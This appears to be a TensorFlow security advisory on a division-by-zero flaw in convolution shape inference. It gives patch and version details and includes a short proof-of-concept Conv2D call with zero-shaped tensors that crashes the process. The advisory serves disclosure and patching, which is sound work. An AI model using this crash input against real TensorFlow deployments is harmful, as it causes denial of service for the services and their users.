Division by 0 in most convolution operators

Impact

Most implementations of convolution operators in TensorFlow are affected by a division by 0 vulnerability where an attacker can trigger a denial of service via a crash:

import tensorflow as tf

tf.compat.v1.disable_v2_behavior()
tf.raw_ops.Conv2D(
  input = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32),
  filter = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32),
  strides = [1, 1, 1, 1],
  padding = "SAME")

The shape inference implementation is missing several validations before doing divisions and modulo operations.

Patches

We have patched the issue in GitHub commit 8a793b5d7f59e37ac7f3cd0954a750a2fe76bad4.

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yakun Zhang of Baidu Security.